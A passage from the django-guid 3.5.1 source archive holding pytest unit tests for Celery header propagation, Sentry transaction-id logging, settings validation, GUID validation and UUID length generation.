with pytest.raises( ImproperlyConfigured, match='The CeleryIntegration sentry_integration setting must be a boolean.' ): CeleryIntegrationSettings(CeleryIntegration(sentry_integration=setting)) for setting in valid_settings: CeleryIntegrationSettings(CeleryIntegration(sentry_integration=setting)) django-guid-3.5.1/tests/unit/test_celery_signals.py000066400000000000000000000176131475141737700224750ustar00rootroot00000000000000import logging from copy import deepcopy from django.conf import settings as django_settings from django.test import override_settings from pytest_mock import MockerFixture from django_guid import get_guid, set_guid from django_guid.config import Settings from django_guid.integrations import CeleryIntegration from django_guid.integrations.celery.context import celery_current, celery_parent from django_guid.integrations.celery.signals import ( clean_up, parent_header, publish_task_from_worker_or_request, set_transaction_id, worker_prerun, ) from django_guid.utils import generate_guid def test_task_publish_includes_correct_headers(monkeypatch): """ It's important that we include the correct headers when publishing a task to the celery worker pool, otherwise there's no transfer of state. """ # Mocking overhead mocked_settings = deepcopy(django_settings.DJANGO_GUID) mocked_settings['INTEGRATIONS'] = [CeleryIntegration(log_parent=False)] with override_settings(DJANGO_GUID=mocked_settings): settings = Settings() monkeypatch.setattr('django_guid.integrations.celery.signals.settings', settings) # Actual testing for correlation_id in [None, 'test', 123, -1]: # Set the id in our context var set_guid(correlation_id) # Run signal with empty headers headers = {} publish_task_from_worker_or_request(headers=headers) # Makes sure the returned headers contain the correct result assert headers[settings.guid_header_name] == correlation_id def test_task_publish_includes_correct_depth_headers(monkeypatch): """ Test log_parent True """ mocked_settings = deepcopy(django_settings.DJANGO_GUID) mocked_settings['INTEGRATIONS'] = [CeleryIntegration(log_parent=True)] with override_settings(DJANGO_GUID=mocked_settings): settings = Settings() monkeypatch.setattr('django_guid.integrations.celery.signals.settings', settings) headers = {} publish_task_from_worker_or_request(headers=headers) # The parent header should not be in headers, because # There should be no celery_current context assert parent_header not in headers for correlation_id in ['test', 123, -1]: headers = {} celery_current.set(correlation_id) publish_task_from_worker_or_request(headers=headers) # Here the celery-parent-id header should exist assert headers[parent_header] == correlation_id def test_worker_prerun_guid_exists(monkeypatch, mocker: MockerFixture, two_unique_uuid4): """ Tests that GUID is set to the GUID if a GUID exists in the task object. """ mock_task = mocker.Mock() mock_task.request = {'Correlation-ID': '704ae5472cae4f8daa8f2cc5a5a8mock'} mocked_settings = deepcopy(django_settings.DJANGO_GUID) mocked_settings['INTEGRATIONS'] = [CeleryIntegration(log_parent=False)] with override_settings(DJANGO_GUID=mocked_settings): settings = Settings() monkeypatch.setattr('django_guid.integrations.celery.signals.settings', settings) worker_prerun(mock_task) assert get_guid() == '704ae5472cae4f8daa8f2cc5a5a8mock' def test_worker_prerun_guid_does_not_exist(monkeypatch, mocker: MockerFixture, mock_uuid): """ Tests that a GUID is set if it does not exist """ mock_task = mocker.Mock() mock_task.request = {'Correlation-ID': None} mocked_settings = deepcopy(django_settings.DJANGO_GUID) mocked_settings['INTEGRATIONS'] = [CeleryIntegration(log_parent=False)] with override_settings(DJANGO_GUID=mocked_settings): settings = Settings() monkeypatch.setattr('django_guid.integrations.celery.signals.settings', settings) worker_prerun(mock_task) assert get_guid() == '704ae5472cae4f8daa8f2cc5a5a8mock' def test_worker_prerun_guid_log_parent_no_origin(monkeypatch, mocker: MockerFixture, mock_uuid_two_unique): """ Tests that depth works when there is no origin """ from django_guid.integrations.celery.signals import parent_header mock_task = mocker.Mock() mock_task.request = {'Correlation-ID': None, parent_header: None} # No origin mocked_settings = deepcopy(django_settings.DJANGO_GUID) mocked_settings['INTEGRATIONS'] = [CeleryIntegration(log_parent=True)] with override_settings(DJANGO_GUID=mocked_settings): settings = Settings() monkeypatch.setattr('django_guid.integrations.celery.signals.settings', settings) worker_prerun(mock_task) assert get_guid() == '704ae5472cae4f8daa8f2cc5a5a8mock' assert celery_current.get() == 'c494886651cd4baaa8654e4d24a8mock' assert celery_parent.get() is None def test_worker_prerun_guid_log_parent_with_origin(monkeypatch, mocker: MockerFixture, mock_uuid_two_unique): """ Tests that depth works when there is an origin """ from django_guid.integrations.celery.signals import parent_header mock_task = mocker.Mock() mock_task.request = {'Correlation-ID': None, parent_header: '1234'} # No origin mocked_settings = deepcopy(django_settings.DJANGO_GUID) mocked_settings['INTEGRATIONS'] = [CeleryIntegration(log_parent=True)] with override_settings(DJANGO_GUID=mocked_settings): settings = Settings() monkeypatch.setattr('django_guid.integrations.celery.signals.settings', settings) worker_prerun(mock_task) assert get_guid() == '704ae5472cae4f8daa8f2cc5a5a8mock' assert celery_current.get() == 'c494886651cd4baaa8654e4d24a8mock' assert celery_parent.get() == '1234' def test_cleanup(monkeypatch, mocker: MockerFixture): """ Test that cleanup works as expected """ set_guid('123') celery_current.set('123') celery_parent.set('123') mocked_settings = deepcopy(django_settings.DJANGO_GUID) mocked_settings['INTEGRATIONS'] = [CeleryIntegration(log_parent=True)] with override_settings(DJANGO_GUID=mocked_settings): settings = Settings() monkeypatch.setattr('django_guid.integrations.celery.signals.settings', settings) clean_up(task=mocker.Mock()) assert [get_guid(), celery_current.get(), celery_parent.get()] == [None, None, None] def test_set_transaction_id(monkeypatch, caplog): """ Tests that the `configure_scope()` is executed, given `sentry_integration=True` in CeleryIntegration """ # https://github.com/eisensheng/pytest-catchlog/issues/44 logger = logging.getLogger('django_guid.celery') # Ensure caplog can catch logs with `propagate=False` logger.addHandler(caplog.handler) mocked_settings = deepcopy(django_settings.DJANGO_GUID) mocked_settings['INTEGRATIONS'] = [CeleryIntegration(sentry_integration=True)] with override_settings(DJANGO_GUID=mocked_settings): settings = Settings() monkeypatch.setattr('django_guid.integrations.celery.signals.settings', settings) guid = generate_guid() set_transaction_id(guid) logger.removeHandler(caplog.handler) # Remove handler before test finish assert f'Setting Sentry transaction_id to {guid}' in [record.message for record in caplog.records] def test_dont_set_transaction_id(monkeypatch, caplog): """ Tests that the `configure_scope()` is not executed, given `sentry_integration=False` in CeleryIntegration """ logger = logging.getLogger('django_guid.celery') logger.addHandler(caplog.handler) mocked_settings = deepcopy(django_settings.DJANGO_GUID) mocked_settings['INTEGRATIONS'] = [CeleryIntegration(sentry_integration=False)] with override_settings(DJANGO_GUID=mocked_settings): settings = Settings() monkeypatch.setattr('django_guid.integrations.celery.signals.settings', settings) guid = generate_guid() set_transaction_id(guid) logger.removeHandler(caplog.handler) assert f'Setting Sentry transaction_id to {guid}' not in [record.message for record in caplog.records] django-guid-3.5.1/tests/unit/test_config.py000066400000000000000000000121641475141737700207330ustar00rootroot00000000000000from copy import deepcopy from django.conf import settings as django_settings from django.core.exceptions import ImproperlyConfigured from django.test import override_settings import pytest from django_guid.config import Settings UUID_LENGTH_IS_NOT_INTEGER = 'UUID_LENGTH must be an integer and positive' UUID_LENGHT_IS_NOT_CORRECT_RANGE_HEX_FORMAT = 'UUID_LENGTH must be between 1-32 when UUID_FORMAT is hex' UUID_LENGHT_IS_NOT_CORRECT_RANGE_STRING_FORMAT = 'UUID_LENGTH must be between 1-36 when UUID_FORMAT is string' @override_settings() def test_no_config(settings): del settings.DJANGO_GUID Settings().validate() def test_invalid_guid(): mocked_settings = deepcopy(django_settings.DJANGO_GUID) mocked_settings['VALIDATE_GUID'] = 'string' with override_settings(DJANGO_GUID=mocked_settings): with pytest.raises(ImproperlyConfigured, match='VALIDATE_GUID must be a boolean'): Settings().validate() def test_invalid_header_name(): mocked_settings = deepcopy(django_settings.DJANGO_GUID) mocked_settings['GUID_HEADER_NAME'] = True with override_settings(DJANGO_GUID=mocked_settings): with pytest.raises(ImproperlyConfigured, match='GUID_HEADER_NAME must be a string'): Settings().validate() def test_invalid_return_header_setting(): mocked_settings = deepcopy(django_settings.DJANGO_GUID) mocked_settings['RETURN_HEADER'] = 'string' with override_settings(DJANGO_GUID=mocked_settings): with pytest.raises(ImproperlyConfigured, match='RETURN_HEADER must be a boolean'): Settings().validate() def test_invalid_expose_header_setting(): mocked_settings = deepcopy(django_settings.DJANGO_GUID) mocked_settings['EXPOSE_HEADER'] = 'string' with override_settings(DJANGO_GUID=mocked_settings): with pytest.raises(ImproperlyConfigured, match='EXPOSE_HEADER must be a boolean'): Settings().validate() def test_valid_settings(): mocked_settings = deepcopy(django_settings.DJANGO_GUID) mocked_settings['VALIDATE_GUID'] = False mocked_settings['GUID_HEADER_NAME'] = 'Correlation-ID-TEST' mocked_settings['RETURN_HEADER'] = False mocked_settings['EXPOSE_HEADER'] = False with override_settings(DJANGO_GUID=mocked_settings): assert not Settings().validate_guid assert Settings().guid_header_name == 'Correlation-ID-TEST' assert not Settings().return_header def test_bad_integrations_type(): for setting in [{}, '', 2, None, -2]: mocked_settings = deepcopy(django_settings.DJANGO_GUID) mocked_settings['INTEGRATIONS'] = setting with override_settings(DJANGO_GUID=mocked_settings): with pytest.raises(ImproperlyConfigured, match='INTEGRATIONS must be an array'): Settings().validate() def test_not_array_ignore_urls(): for setting in [{}, '', 2, None, -2]: mocked_settings = deepcopy(django_settings.DJANGO_GUID) mocked_settings['IGNORE_URLS'] = setting with override_settings(DJANGO_GUID=mocked_settings): with pytest.raises(ImproperlyConfigured, match='IGNORE_URLS must be an array'): Settings().validate() def test_not_string_in_igore_urls(): for setting in ['api/v1/test', 'api/v1/othertest', True], [1, 2, 'yup']: mocked_settings = deepcopy(django_settings.DJANGO_GUID) mocked_settings['IGNORE_URLS'] = setting with override_settings(DJANGO_GUID=mocked_settings): with pytest.raises(ImproperlyConfigured, match='IGNORE_URLS must be an array of strings'): Settings().validate() @pytest.mark.parametrize( 'uuid_length,uuid_format,error_message', [ (True, 'hex', UUID_LENGTH_IS_NOT_INTEGER), (False, 'hex', UUID_LENGTH_IS_NOT_INTEGER), ({}, 'hex', UUID_LENGTH_IS_NOT_INTEGER), (-1, 'hex', UUID_LENGTH_IS_NOT_INTEGER), (0, 'hex', UUID_LENGTH_IS_NOT_INTEGER), (33, 'hex', UUID_LENGHT_IS_NOT_CORRECT_RANGE_HEX_FORMAT), (37, 'string', UUID_LENGHT_IS_NOT_CORRECT_RANGE_STRING_FORMAT), ], ) def test_uuid_len_fail(uuid_length, uuid_format, error_message): mocked_settings = deepcopy(django_settings.DJANGO_GUID) mocked_settings['UUID_LENGTH'] = uuid_length mocked_settings['UUID_FORMAT'] = uuid_format with override_settings(DJANGO_GUID=mocked_settings): with pytest.raises(ImproperlyConfigured, match=error_message): Settings().validate() @pytest.mark.parametrize('uuid_format', ['bytes', 'urn', 'bytes_le']) def test_uuid_format_fail(uuid_format): mocked_settings = deepcopy(django_settings.DJANGO_GUID) mocked_settings['UUID_FORMAT'] = uuid_format with override_settings(DJANGO_GUID=mocked_settings): with pytest.raises(ImproperlyConfigured, match='UUID_FORMAT must be either hex or string'): Settings().validate() def test_converts_correctly(): mocked_settings = deepcopy(django_settings.DJANGO_GUID) mocked_settings['IGNORE_URLS'] = ['/no-guid', '/my/api/path/'] with override_settings(DJANGO_GUID=mocked_settings): assert 'my/api/path' in Settings().ignore_urls assert 'no-guid' in Settings().ignore_urls django-guid-3.5.1/tests/unit/test_guid_validation.py000066400000000000000000000003661475141737700226310ustar00rootroot00000000000000from django_guid.utils import validate_guid def test_valid_guid(): assert validate_guid('07742cab407e4e8089ebfd191acbb752') is True def test_is_valid_dashed_guid(): assert validate_guid('07742cab-407e-4e80-89eb-fd191acbb752') is True django-guid-3.5.1/tests/unit/test_uuid_length.py000066400000000000000000000017141475141737700217740ustar00rootroot00000000000000from django.conf import settings as django_settings from django.test import override_settings import pytest from django_guid.utils import generate_guid def test_uuid_length(): """ Make sure passing uuid_length works. """ for i in range(33): guid = generate_guid(uuid_length=i) assert len(guid) == i @pytest.mark.parametrize('maximum_range,uuid_format,expected_type', [(33, 'hex', str), (37, 'string', str)]) def test_uuid_length_setting(maximum_range, uuid_format, expected_type): """ Make sure that the settings value is used as a default. """ mocked_settings = django_settings.DJANGO_GUID mocked_settings['UUID_FORMAT'] = uuid_format for uuid_lenght in range(33): mocked_settings['UUID_LENGTH'] = uuid_lenght with override_settings(DJANGO_GUID=mocked_settings): guid = generate_guid() assert isinstance(guid, expected_type) assert len(guid) == uuid_lenght